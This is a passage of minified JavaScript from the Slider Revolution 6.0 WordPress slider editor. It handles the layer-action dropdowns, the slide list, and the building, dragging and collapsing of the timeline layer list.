List"}),RVS.F.updatePlayFrameXOnlyOnAction(null,e[t])}},RVS.F.updatePlayFrameXOnlyOnAction=function(e,t){if(t=void 0===t?"X":"object"==typeof t?t.eventparam:t,void 0!==RVS.S.actionTrgtLayerId){var i="string"==typeof RVS.S.actionTrgtLayerId&&RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a="string"==typeof RVS.S.actionTrgtLayerId?RVS.S.actionTrgtLayerId.replace("static-",""):RVS.S.actionTrgtLayerId,r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s=document.getElementById("overtake_frame"+t+"_control"),o=r.timeline.frames,n=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("N"===t||"M"===t?t:"")];n&&void 0!==o[n]&&(s.dataset.r="timeline.frames."+n+".timeline.actionTriggered",s.checked=r.timeline.frames[n].timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:s}))}},RVS.F.upadteLayerTargetDropDowns=function(e){var t=jQuery("#la_layer_target"),i=void 0!==RVS.LIB.ACTIONTYPES[e.action]&&RVS.LIB.ACTIONTYPES[e.action].media;for(var a in t[0].innerHTML="",i&&(t[0].innerHTML+='<option data-icon="videocam" value="backgroundvideo">'+RVS_LANG.backgroundvideo+"</option>",t[0].innerHTML+='<option data-icon="videocam" value="firstvideo">'+RVS_LANG.videoactiveslide+"</option>"),RVS.L)RVS.L.hasOwnProperty(a)&&(void 0===RVS.L[a].type||"zone"===RVS.L[a].type||i&&"video"!==RVS.L[a].type&&"audio"!==RVS.L[a].type||(t[0].innerHTML+='<option data-icon="'+RVS.F.getLayerIcon(RVS.L[a].linebreak?"linebreak":RVS.L[a].type)+'" value="'+RVS.L[a].uid+'">'+RVS.L[a].alias+"</option>"));if(-1===(""+RVS.S.slideId).indexOf("static_")&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]){t[0].innerHTML+='<optgroup label="'+RVS_LANG.globalLayers+'">';var r=RVS.SLIDER[RVS.SLIDER.staticSlideId].layers;for(var a in r)r.hasOwnProperty(a)&&(void 0===r[a].type||"zone"===r[a].type||i&&"video"!==r[a].type&&"audio"!==r[a].type||(t[0].innerHTML+='<option data-icon="'+RVS.F.getLayerIcon(r[a].linebreak?"linebreak":r[a].type)+'" value="static-'+r[a].uid+'">'+r[a].alias+"</option>"));t[0].innerHTML+="</optgroup>"}t.val(e.targetid).ddTP("rebuild",{pre:'<span><i class="icon_in_dropdown material-icons">#data#</i></span>',preData:"icon"}),void 0!==e.targetid&&void 0!==RVS.L[e.targetid]&&(jQuery.inArray(RVS.L[e.targetid].type,["group","row","column"])>=0&&jQuery.inArray(e.action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0?jQuery("#la_settings_childrentimelines").show():jQuery("#la_settings_childrentimelines").hide())},RVS.F.updateLinkTypes=function(e){var t=jQuery("#la_link_type");t[0].innerHTML="",t.append('<option value="jquery">'+RVS_LANG.jquerytriggered+"</option>"),-1==jQuery.inArray(RVS.L[RVS.selLayers[0]].type,["group","column","row"])&&t.append('<option value="a">'+RVS_LANG.atriggered+"</option>"),t.val(e.linktype).ddTP("change").ddTP({})},RVS.F.createActionGroup=function(e){let t=document.getElementById(e.id),i=null!==t;if(e.title=void 0===RVS_LANG[e.id]?e.title?e.title:e.id:RVS_LANG[e.id],!i){t=RVS.F.cE({cN:"lal_group",id:e.id});let i=RVS.F.cE({cN:"lal_group_header"});i.textContent=e.title;let a=RVS.F.cI({c:e.icon});i.prepend(a),i.appendChild(RVS.F.cI({cN:"accordiondrop",c:"arrow_drop_down"})),t.appendChild(i)}for(var a in e.actions){if(!e.actions.hasOwnProperty(a))continue;let i=e.actions[a];void 0!==i.alias&&(RVS_LANG["layeraction_"+i.val]=i.alias);let r=void 0!==i.title?i.title:void 0===RVS_LANG["layeraction_"+i.val]?i.val:RVS_LANG["layeraction_"+i.val];i.inputs=void 0===i.inputs?"":i.inputs,i.inputs=!0===i.layerTarget?"#la_settings_layertarget"+(i.inputs.length>0?", "+i.inputs:""):i.inputs;let s=RVS.F.cE({cN:"lal_group_member",id:"layeraction_picker_"+i.val,ds:{val:i.val,inputs:i.inputs}});RVS.F.cI({c:e.icon});s.prepend(RVS.F.cI({c:e.icon})),s.textContent=r,t.appendChild(s),i.layerTarget&&RVS.LIB.ACTION_WITH_TRGT.push(i.val),RVS.LIB.ACTIONTYPES[i.val]={inputs:i.inputs,name:r,icon:e.icon,layerTarget:i.layerTarget,media:i.media}}i||document.getElementById("layeraction_list").appendChild(t)},RVS.F.updateSlideList=function(e){var t=jQuery("#la_jump_to_slide"),i='<option value="first">'+RVS_LANG.firstslide+"</option>";i+='<option value="last">'+RVS_LANG.lastslide+"</option>",i+='<option value="random">'+RVS_LANG.randomslide+"</option>","next"===e.targetid&&(i+='<option value="next">'+RVS_LANG.nextslide+"</option>"),"previous"===e.targetid&&(i+='<option value="previous">'+RVS_LANG.previousslide+"</option>");var a=0;for(var r in RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(r)){var s=RVS.SLIDER.slideIDs[r]+"";-1===s.indexOf("static_")&&(i+="<option value="+s+">#"+ ++a+" "+RVS.SLIDER[s].slide.title+"</option>")}t[0].innerHTML=i,t.val(e.targetid).ddTP("change").ddTP({})}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR LAYERLIST JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t=[],i={};function a(e,t){for(var i in e=function(e){var t,i=[],a=!1;for(var r in RVS.L)RVS.L.hasOwnProperty(r)&&""+RVS.L[r].group.puid==""+e&&i.push({id:RVS.L[r].uid,sort:RVS.L[r].group.groupOrder,zIndex:RVS.L[r].position.zIndex,type:RVS.L[r].type,alias:RVS.L[r].alias});for(var s in i)0!=i[s].sort&&"0"!=i[s].sort||(void 0===t?t=s:(i[s].sort=i[s].zIndex,a=!0));a&&(i[t].sort=i[t].zIndex);"top"===e||"bottom"===e||"middle"===e?i.sort(function(e,t){return e.sort-t.sort}):-1===e||"group"===RVS.L[e].type?i.sort(function(e,t){return t.sort-e.sort}):i.sort(function(e,t){return e.sort-t.sort});return i}(t))e.hasOwnProperty(i)&&("zone"!==e[i].type&&"row"!==e[i].type&&"column"!==e[i].type&&"group"!==e[i].type||(e[i].list=a(e,e[i].id)));return e}function r(e,t){let i=RVS.F.cF(),a=RVS.F.getLayerIcon(e.linebreak?"linebreak":e.type,e.subtype),r=RVS.F.cE({cN:"layerlist_element_innerwrap",ds:{layerid:e.uid,id:e.uid}}),s=RVS.F.cE({cN:"context_left"}),o=RVS.F.cE({cN:"layerlist_element_alias",id:"layerlist_element_alias_"+RVS.S.slideId+"_"+e.uid}),n=RVS.F.cE({cN:"layerlist_toolbar_icon_wrap",id:"llist_too_iw_"+e.uid}),l=RVS.F.cI({cN:"layerlist_toolbar_icon fclayer_withslideend",c:"keyboard_tab",id:"slideendmarker_"+RVS.S.slideId+"_"+e.uid,ds:{layerid:e.uid}}),d=RVS.F.cE({cN:"stimeline"}),S=RVS.F.cE({cN:"frameswrap"}),c=RVS.F.cE({cN:"frame_unvisible_start",id:"frame_unvisible_start_"+RVS.S.slideId+"_"+e.uid}),p=RVS.F.cE({t:"framebg",ds:{layerid:e.uid,bg:"true",layertype:e.type}});if(o.textContent=RVS.F.sanitize_input_ws(e.alias),r.appendChild(s),s.appendChild(RVS.F.cE({cN:"layer_has_action"})),s.appendChild(RVS.F.cE({cN:"layer_raz_info",id:"layer_raz_info_"+RVS.S.slideId+"_"+e.uid,txt:e.position.position+" <b>"+(e.position.zIndex<10?"0":"")+e.position.zIndex+'</b><label_icon class="ui_free_layers"></label_icon>'})),s.appendChild(RVS.F.cE({cN:"layerlist_element_level",icon:{c:"arrow_drop_down"}})),s.appendChild(RVS.F.cE({cN:"layerlist_element_type",icon:{c:a}})),s.appendChild(o),"zone"!==e.type){let t=RVS.F.cE({t:"input",type:"text",id:"layerlist_element_alias_input_"+RVS.S.slideId+"_"+e.uid,cN:"layerlist_element_alias_input indeplayerinput losefocusonenter",ds:{evt:"updateLayerAlias",sanitize:"true",cursortoclick:"true",evtparam:e.uid,r:e.uid+".alias"}});t.value=RVS.F.sanitize_alias(e.alias),s.appendChild(t)}for(var u in s.appendChild(RVS.F.cE({cN:"layerlist_toolbar"})),s.appendChild(RVS.F.cI({cN:"layer_current_visibility",c:"visibility_off",ds:{uid:e.uid}})),s.appendChild(RVS.F.cI({cN:"layer_current_locked material-icons",c:"lock",ds:{uid:e.uid}})),RVS.JHOOKS.createLayerListElement){if(!RVS.JHOOKS.createLayerListElement.hasOwnProperty(u))continue;let t=RVS.JHOOKS.createLayerListElement[u]({layer:e});!1!==t&&null!=t&&s.appendChild(t)}return s.appendChild(n),n.appendChild(l),r.appendChild(d),d.appendChild(RVS.F.cE({cN:"slidelooptimemarker"})),d.appendChild(RVS.F.cE({cN:"fixedscrolltimemarker"})),d.appendChild(S),S.appendChild(c),S.appendChild(p),i.appendChild(r),t&&i.appendChild(RVS.F.cE({t:"ul"})),i}function s(){jQuery(this).hasClass("collapsed")?this.dataset.wascollapsed=1:jQuery(this).addClass("collapsed")}function o(){1!=this.dataset.wascollapsed&&jQuery(this).removeClass("collapsed"),this.dataset.wascollapsed=0}function n(e){t=[],jQuery(e.container+" ."+e.cIdName).each(function(){null!==this.offsetParent&&t.push({dif:36,y:jQuery(this).offset().top,id:this.dataset.id,type:this.dataset.type,puid:this.dataset.puid})})}function l(e){var i=!1,a=0;if(void 0!==t&&t.length>0){for(;!i&&a<t.length;)e.y>=t[a].y&&e.y<parseInt(t[a].y,0)+parseInt(t[a].dif,0)?i=!0:a++;return a>=t.length&&(a=t.length-1),{found:i,id:t[a].id,puid:t[a].puid,y:t[a].y,cover:e.y-parseInt(t[a].y,0),type:t[a].type}}return!1}function d(){var e=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element");for(var t in e)if(e.hasOwnProperty(t)&&void 0!==e[t]&&void 0!==e[t].dataset&&void 0!==e[t].dataset.id){var i=jQuery(e[t]).parent().closest(".withchildren");if(i.length>0){e[t].dataset.puid=i.data("id");var a=RVS.F.getDeepVal({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid"});if(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:e[t].dataset.puid}),a!=e[t].dataset.puid&&-1==jQuery.inArray(e[t].dataset.puid,["top","bottom","middle"])){var r=RVS.F.getLayerChildren({layerid:e[t].dataset.puid});RVS.F.setChildrenTimelines({childLayers:r,difference:0}),RVS.F.backupChildren({childLayers:r})}}else e[t].dataset.puid=-1,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:-1})}}RVS.F.initLayerListBuilder=function(){RVS.C.rb=void 0===RVS.C.rb?jQuery("#rev_builder"):RVS.C.rb,RVS.C.layerListWrap=void 0===RVS.C.layerListWrap?jQuery("#tlLayerListWrap"):RVS.C.layerListWrap,RVS.DOC.on("click dblclick",".layerselector",function(){var e=jQuery(this);return e.hasClass("checked")?(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"remove"}),e.removeClass("checked")):(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}),e.addClass("checked")),!1}),RVS.DOC.on("click",".layerlist_element_innerwrap",function(e){if(!this.dataset.ignore&&"slide_bg_anim_trigger"!==this.id){for(var t in RVS.JHOOKS.layerListElementClicked)RVS.JHOOKS.layerListElementClicked.hasOwnProperty(t)&&RVS.JHOOKS.layerListElementClicked[t](this.dataset.id);var i="FRAMEWRAP"===e.target.nodeName||"FFBEFORE"===e.target.nodeName||"FFAFTER"===e.target.nodeName?e.target.dataset.frame:"FRAMEWRAP"===e.target.parentNode.nodeName?e.target.parentNode.dataset.frame:void 0;return void 0!==i?("animation"===RVS.eMode.mode&&"layer"===RVS.eMode.top||RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidecontent*#form_layer_animation"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("framewrap.selected").removeClass("selected"),"FRAMEWRAP"===e.target.nodeName&&(e.target.className+=" selected"),"FRAMEWRAP"===e.target.parentNode.nodeName&&(e.target.parentNode.className+=" selected"),RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"}),RVS.F.setKeyframeSelected(i),"animation"===RVS.eMode.mode&&RVS.F.updateKeyframeSelected(i)):-1==e.target.className.indexOf("layerselector")&&-1==e.target.className.indexOf("layerlist_element_level")&&-1==e.target.className.indexOf("material-icons")&&("animation"===RVS.eMode.mode?void 0!==RVS.L[this.dataset.id]&&(RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add",selectedKeyFrame:RVS.L[this.dataset.id].timeline.frameToIdle}),RVS.F.updateKeyframeSelected(RVS.L[this.dataset.id].timeline.frameToIdle)):window.cmdctrldown?RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}):RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"})),jQuery(".directedit").removeClass("directedit"),!1}}),RVS.DOC.on("click",".layerlist_element_level",function(){return jQuery(document.activeElement).blur(),this.className.indexOf("free_positioned_layers_toggle")>=0?jQuery("#mainLayerListWrap_"+RVS.S.slideId).toggleClass("collapsedfreelayers"):jQuery(this).closest("li").toggleClass("collapsed"),RVS.F.saveCollapsedGroups(),!1}),RVS.DOC.on("click",".layer_allcollaps",function(){return this.className.indexOf("collapsed")>=0?(this.className="layer_allcollaps",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column.collapsed").removeClass("collapsed")):(this.className="layer_allcollaps collapsed",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column").addClass("collapsed")),RVS.F.saveCollapsedGroups(),RVS.F.layerListScrollable("update"),!1}),RVS.DOC.on("dblclick",".layerlist_element_innerwrap",function(){var e=jQuery(this);e.addClass("directedit"),e.find(".indeplayerinput").trigger("focus")}),RVS.DOC.on("click",".indeplayerinput",function(){return!1}),RVS.DOC.on("blur",".indeplayerinput",function(){jQuery(this).closest(".directedit").removeClass("directedit")}),RVS.DOC.on("click dblclick",".fclayer_withslideend",function(){var e=RVS.F.getLayerObjPath({layerid:this.dataset.layerid,frame:"frame_999"}),t=RVS.F.getDeepVal({path:e+"start"}),i=RVS.F.getLayerAliasAndFrame({layerid:this.dataset.layerid,frame:"frame_999"});return t=jQuery(this).hasClass("endswithslide")?parseInt(t,0)-100:10*RVS.F.getSlideLength(),RVS.F.updateSliderObj({path:e+"start",val:t,txt:i+" Start",icon:"access_time"}),RVS.F.updateLayerFrame({layerid:this.dataset.layerid,frame:"frame_999"}),!1}),RVS.DOC.on("click","#timeline_collapser",function(){clearTimeout(window.closeTimeLineTimer),RVS.F.expandCollapseTimeLine(!0,"close")}),RVS.C.layerListWrap.on("mouseenter",function(){window.closeTimeLineTimer=setTimeout(function(){RVS.F.expandCollapseTimeLine(!0,"open")},400)}),RVS.C.layerListWrap.on("mouseleave",function(){clearTimeout(window.closeTimeLineTimer)}),RVS.S.llcache=void 0===RVS.S.llcache?{}:RVS.S.llcache,RVS.DOC.on("updateLayerAlias",function(e,t){document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias,"group"===RVS.L[t].type&&(document.getElementById("_group_head_title_"+RVS.S.slideId+"_"+t).innerHTML=RVS.L[t].alias),RVS.selLayers[0]==t&&(document.getElementById("updateLayerSingleAliasInput").value=RVS.L[t].alias)}),RVS.DOC.on("beforeSlideChange",function(e,t){RVS.F.stopAndPauseAllLayerAnimation(),void 0!==RVS.S.llcache[RVS.S.slideId]&&void 0!==RVS.S.llcache[RVS.S.slideId].tlLayerList&&RVS.S.llcache[RVS.S.slideId].tlLayerList.parentElement.removeChild(RVS.S.llcache[RVS.S.slideId].tlLayerList)}),RVS.DOC.on("updateScrollBars",function(e,t){RVS.F.layerListScrollable("update"),RVS.C.layerListWrap.trigger("ps-scroll-x"),RVS.C.layerListWrap.trigger("ps-scroll-y")}),RVS.TL.TL.resizable({handles:"n",minHeight:71,maxHeight:600,start:function(e,t){RVS.TL.TL.addClass("inResize")},resize:function(e,t){tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),tpGS.gsap.set("#timeline",{top:"0px"}),RVS.ENV.globVerOffset=t.size.height,RVS.DOC.trigger("updatesliderlayout","layerlist.js-355"),window.timeline_in_resize=!0},stop:function(e,t){RVS.TL.TL.removeClass("inResize"),tpGS.gsap.set("#tlLayerListWrap",{height:t.size.height-36+"px"}),RVS.V.timeline_height=t.size.height,RVS.DOC.trigger("updateScrollBars"),window.timeline_in_resize=!1,RVS.F.expandCollapseTimeLine(!0,"open")}}),RVS.F.layerListScrollable("init")},RVS.F.updateZoneZIndexes=function(){tpGS.gsap.set(RVS.C.rZone.top,{zIndex:RVS.L.top.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.bottom,{zIndex:RVS.L.bottom.position.zIndex}),tpGS.gsap.set(RVS.C.rZone.middle,{zIndex:RVS.L.middle.position.zIndex})},RVS.F.buildLayerLists=function(e){RVS.L=RVS.SLIDER[RVS.S.slideId].layers,!0!==i[RVS.S.slideId]&&(i[RVS.S.slideId]=!0,RVS.F.preloadUsedFonts());var t=0;RVS.F.updateColumnBreaksChildren(),void 0===RVS.L.top&&(t=function(e){var t=0;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&"row"===RVS.L[i].type&&(t=t<RVS.L[i].position.zIndex?RVS.L[i].position.zIndex:t);return parseInt(t)}(),RVS.L.top={uid:"top",group:{puid:-1,groupOrder:t},type:"zone",alias:"TOP ROWS",position:{zIndex:t}},RVS.L.middle={uid:"middle",group:{puid:-1,groupOrder:t},type:"zone",alias:"MID ROWS",position:{zIndex:t}},RVS.L.bottom={uid:"bottom",group:{puid:-1,groupOrder:t},type:"zone",alias:"BOTTOM ROWS",position:{zIndex:t}}),RVS.F.updateZoneZIndexes(),RVS.F.getLlength(),RVS.selLayers=[],RVS.S.llcache[RVS.S.slideId]=void 0===RVS.S.llcache[RVS.S.slideId]?{}:RVS.S.llcache[RVS.S.slideId],(e=void 0===e?{}:e).force||void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList?RVS.F.reDrawListElements():void 0!==RVS.S.llcache[RVS.S.slideId].tlLayerList&&RVS.C.layerListWrap[0].appendChild(RVS.S.llcache[RVS.S.slideId].tlLayerList),RVS.F.layerListScrollable("update"),e.ignoreRebuildHTML||RVS.F.buildHTMLLayers({ignoreDrawLayers:e.ignoreDrawLayers}),e.ignoreSelectLayers||RVS.F.selectLayers()},RVS.F.getLlength=function(){for(var e in RVS.V.Llength=0,RVS.L)RVS.L.hasOwnProperty(e)&&RVS.V.Llength++},RVS.F.clearCache=function(e){if(null!=e&&void 0!==e.slides)for(var t in e.slides)e.slides.hasOwnProperty(t)&&void 0!==cache&&void 0!==RVS.S.llcache[e.slides[t]]&&void 0!==RVS.S.llcache[e.slides[t]].tlLayerList&&(RVS.S.llcache[e.slides[t]].tlLayerList.remove(),RVS.S.llcache[e.slides[t]]=void 0)},RVS.F.getLayerChildren=function(e){var t=void 0===e.kids?{}:e.kids;for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&(RVS.L[i].group.puid==e.layerid||("-1"==e.layerid||-1==e.layerid)&&"row"==RVS.L[i].type)){if(t[RVS.L[i].uid]={type:RVS.L[i].type,frames:{}},!e.ignoreframes)for(var a in RVS.L[i].timeline.frames)RVS.L[i].timeline.frames.hasOwnProperty(a)&&(t[RVS.L[i].uid].frames[a]=RVS.L[i].timeline.frames[a].timeline.start);!e.onelevel&&jQuery.inArray(RVS.L[i].type,["column","row","group"])>=0&&(t=RVS.F.getLayerChildren({layerid:RVS.L[i].uid,kids:t,ignoreframes:e.ignoreframes,onelevel:e.onelevel}))}return e.removeZones&&(delete t.top,delete t.bottom,delete t.middle),t},RVS.F.hasChildren=function(e){var t=!1;for(var i in RVS.L)RVS.L.hasOwnProperty(i)&&!t&&(t=RVS.L[i].group.puid==e);return t},RVS.F.getVisibleLayersInList=function(){var e=0;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&(-1===RVS.L[t].group.puid?e++:(-1!==RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[t].group.puid).hasClass("collapsed"))&&(-1===RVS.L[RVS.L[t].group.puid].group.puid||jQuery("#tllayerlist_element_"+RVS.S.slideId+"_"+RVS.L[RVS.L[t].group.puid].group.puid).hasClass("collapsed"))||e++);return e},RVS.F.expandCollapseTimeLine=function(t,i,a,r){var s,o;window.timeline_in_resize||"done"!==RVS.S.ReadyToShowAll||(s=o=RVS.TL.TL.height(),t&&((s=s<=76&&"close"!==i||"open"===i?"auto"===RVS.V.timeline_height?Math.max(RVS.V.timeline_minOpenHeight,window.innerHeight-RVS.S.ulDIM.height-65):RVS.V.timeline_height:76)!==o?a?(RVS.TL.TL[0].style.height=s+"px",RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")):tpGS.gsap.to(RVS.TL.TL,.3,{height:s,ease:"power3.out",onUpdate:function(){RVS.ENV.globVerOffset=tpGS.gsap.getProperty(RVS.TL.TL[0],"height"),RVS.DOC.trigger("updatesliderlayout","layerlist.js-142")}}):RVS.ENV.globVerOffset=s,a?RVS.C.layerListWrap[0].style.height=s-36+"px":tpGS.gsap.to(RVS.C.layerListWrap,.15,{height:s-36,ease:"power3.out",onComplete:function(){RVS.DOC.trigger("updateScrollBars")}})),RVS.C.theEditor[0].style.paddingBottom=s+"px",s>76?jQuery("#timeline_collapser").show():jQuery("#timeline_collapser").hide(),clearTimeout(RVS.S.updateTimeLineHeight),e!==s&&(RVS.S.updateTimeLineHeight=setTimeout(function(){RVS.ENV.globVerOffset=s,!0!==r&&RVS.DOC.trigger("updatesliderlayout","layerlist.js-157"),e=s},170)))},RVS.F.getLayerOrder=function(){return a([],-1)},RVS.F.getLayerBeforeZIndex=function(e){var t,i,r=a([],RVS.L[e].group.puid);switch(RVS.L[e].type){case"row":case"column":for(i in r)r.hasOwnProperty(i)&&r[i].sort<RVS.L[e].group.groupOrder&&(void 0===t||r[i].sort>RVS.L[t].group.groupOrder)&&(t=r[i].id);break;default:for(i in r)r.hasOwnProperty(i)&&r[i].zIndex>RVS.L[e].position.zIndex&&(void 0===t||r[i].zIndex<RVS.L[t].position.zIndex)&&(t=r[i].id)}return t},RVS.F.getLayerAfterZIndex=function(e){var t,i,r=a([],RVS.L[e].group.puid);switch(RVS.L[e].type){case"row":case"column":for(i in r)r.hasOwnProperty(i)&&r[i].sort>RVS.L[e].group.groupOrder&&(void 0===t||r[i].sort<RVS.L[t].group.groupOrder)&&(t=r[i].id);break;default:for(i in r)r.hasOwnProperty(i)&&r[i].zIndex<RVS.L[e].position.zIndex&&(void 0===t||r[i].zIndex>RVS.L[t].position.zIndex)&&(t=r[i].id)}return t},RVS.F.updateCoveredTimelines=function(){var e=RVS.TL.TL.offset().left;RVS.TL.ct.offset().left-e<290?RVS.TL.ct[0].classList.add("covered"):RVS.TL.ct[0].classList.remove("covered"),RVS.TL.mt.offset().left-e<290?RVS.TL.mt[0].classList.add("covered"):RVS.TL.mt[0].classList.remove("covered"),RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&(RVS.TL.slte.offset().left-e<290?RVS.TL.slte[0].classList.add("covered"):RVS.TL.slte[0].classList.remove("covered"),RVS.TL.slts.offset().left-e<290?RVS.TL.slts[0].classList.add("covered"):RVS.TL.slts[0].classList.remove("covered"))},RVS.F.layerListScrollable=function(t){if(void 0===t||"init"===t)RVS.TL._scrollLeft=0,RVS.C.layerListWrap.RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}).on("ps-scroll-y",function(){n({container:"#tl_layerList_"+RVS.S.slideId,cIdName:"tllayerlist_element"})}).on("ps-scroll-x",function(){RVS.TL._scrollLeft=this.scrollLeft,tpGS.gsap.set([jQuery("#tlLayerListWrap .context_left"),"#the_st_cl","#hovertime",".timeline_left_container"],{x:this.scrollLeft}),tpGS.gsap.set(["#timeline_top_toolbar"],{x:0-this.scrollLeft}),RVS.F.updateHoverTime({pos:!1,cont:!0}),RVS.F.updateCoveredTimelines()});else{if("scrollToSelected"===t){var i=jQuery(".tllayerlist_element.checked").first().length>0?jQuery(".tllayerlist_element.checked").first().offset().top:0;e=void 0===e?RVS.TL.TL.height():e,i>RVS.S.winh-e&&i+50<RVS.S.winh||RVS.C.layerListWrap.scrollTop(RVS.C.layerListWrap.scrollTop()-(RVS.S.winh-e+40-i)).RSScroll("update")}"update"===t&&RVS.C.layerListWrap.RSScroll("update")}},RVS.F.saveCollapsedGroups=function(){RVS.SLIDER[RVS.S.slideId].slide.runtime=void 0===RVS.SLIDER[RVS.S.slideId].slide.runtime?{}:RVS.SLIDER[RVS.S.slideId].slide.runtime,RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups=[];var e=document.getElementsByClassName("withchildren collapsed");for(var t in e)e.hasOwnProperty(t)&&void 0!==e[t].id&&RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups.push(e[t].id)},RVS.F.updateCollapsedGroups=function(){for(var e=0;e<=RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups.length-1;e++)if(void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups[e]){var t=document.getElementById(RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups[e]);null!=t&&(t.className+=" collapsed")}},RVS.F.reDrawListElements=function(){void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime&&void 0!==RVS.SLIDER[RVS.S.slideId].slide.runtime.collapsedGroups&&RVS.F.updateCollapsedGroups();var e,i=a([],-1);void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList||0==RVS.C.layerListWrap.find(".layerListContainer").length?RVS.S.llcache[RVS.S.slideId].tlLayerList=RVS.F.cE({t:"ul",id:"tl_layerList_"+RVS.S.slideId,cN:"layerListContainer"}):(void 0===RVS.S.llcache[RVS.S.slideId].tlLayerList&&(RVS.S.llcache[RVS.S.slideId].tlLayerList=document.getElementById("tl_layerList_"+RVS.S.slideId)),RVS.S.llcache[RVS.S.slideId].tlLayerList,e={container:RVS.S.llcache[RVS.S.slideId].tlLayerList.id,cIdName:"tllayerlist_element"},jQuery(e.container+" ."+e.cIdName).each(function(){jQuery(this).data("uiDraggable")&&jQuery(this).draggable("destroy")}),RVS.S.llcache[RVS.S.slideId].tlLayerList.innerHTML="",RVS.S.llcache[RVS.S.slideId].tlLayerList.parentElement.removeChild(RVS.S.llcache[RVS.S.slideId].tlLayerList)),function e(t){var i;for(var a in t.list){if(!t.list.hasOwnProperty(a))continue;var s=t.list[a],o="zone"===s.type||"group"===s.type||"row"===s.type||"column"===s.type;let n=RVS.L[s.id],l="zone"===n.type?"":" not_zone_layer";i=RVS.F.cE({t:"li",cN:(o?"withchildren ":"")+(void 0!==n.actions&&n.actions.action.length>0?"actionmarked ":" ")+t.cIdName+" layerlist_element "+t.cIdName+"_"+n.type+" "+n.type+"_"+n.uid+l,id:t.cIdName+"_"+RVS.S.slideId+"_"+n.uid,ds:{puid:n.group.puid,type:n.type,id:n.uid}}),o&&0===s.list.length&&(i.dataset.status="empty"),i.appendChild(r(RVS.L[s.id],o)),o&&e({list:s.list,container:i.querySelector("ul"),showEmpty:!1,cIdName:t.cIdName}),"tllayerlist_element"===t.cIdName&&"top"!==s.id&&"middle"!==s.id&&"bottom"!==s.id&&RVS.F.addLayerFrames(RVS.L[s.id],i),t.container.appendChild(i)}t.showEmpty&&0===t.list.length&&((i=RVS.F.cE({t:"li",cN:t.cIdName+" nolayeravailable"})).innerHTML='<div class="context_left"><div class="layerlist_element_type"><i class="material-icons">not_interested</i></div><div class="layerlist_element_alias">No Layer Available</div></div>',t.container.appendChild(i))}({list:i,container:RVS.S.llcache[RVS.S.slideId].tlLayerList,showEmpty:!0,cIdName:"tllayerlist_element"}),RVS.C.layerListWrap[0].appendChild(RVS.S.llcache[RVS.S.slideId].tlLayerList),function(e){e.length>0?jQuery(".layerlist_element.nolayeravailable").hide():jQuery(".layerlist_element.nolayeravailable").show()}(i),function(e){var i,a,r,d,S=0;jQuery(e.container+" ."+e.cIdName).draggable({helper:"clone",opacity:.5,axis:"y",start:function(t,o){if("zone"!=this.dataset.type){"row"===this.dataset.type&&RVS.TL.TL.addClass("layer_in_drag");var l=jQuery(RVS.S.llcache[RVS.S.slideId][e.cacheSub]);o.helper.width(l.width()),RVS.F.updateRelAbsZinTXT(this.dataset.id),r=jQuery(e.container).closest(".ps"),i=r.height(),RVS.S.DaD=null==RVS.S.DaD?{}:RVS.S.DaD,RVS.S.DaD.dragInListFrom=RVS.L[this.dataset.id].group.puid,RVS.S.DaD.dragInListFromType=void 0!==RVS.L[RVS.S.DaD.dragInListFrom]?RVS.L[RVS.S.DaD.dragInListFrom].type:void 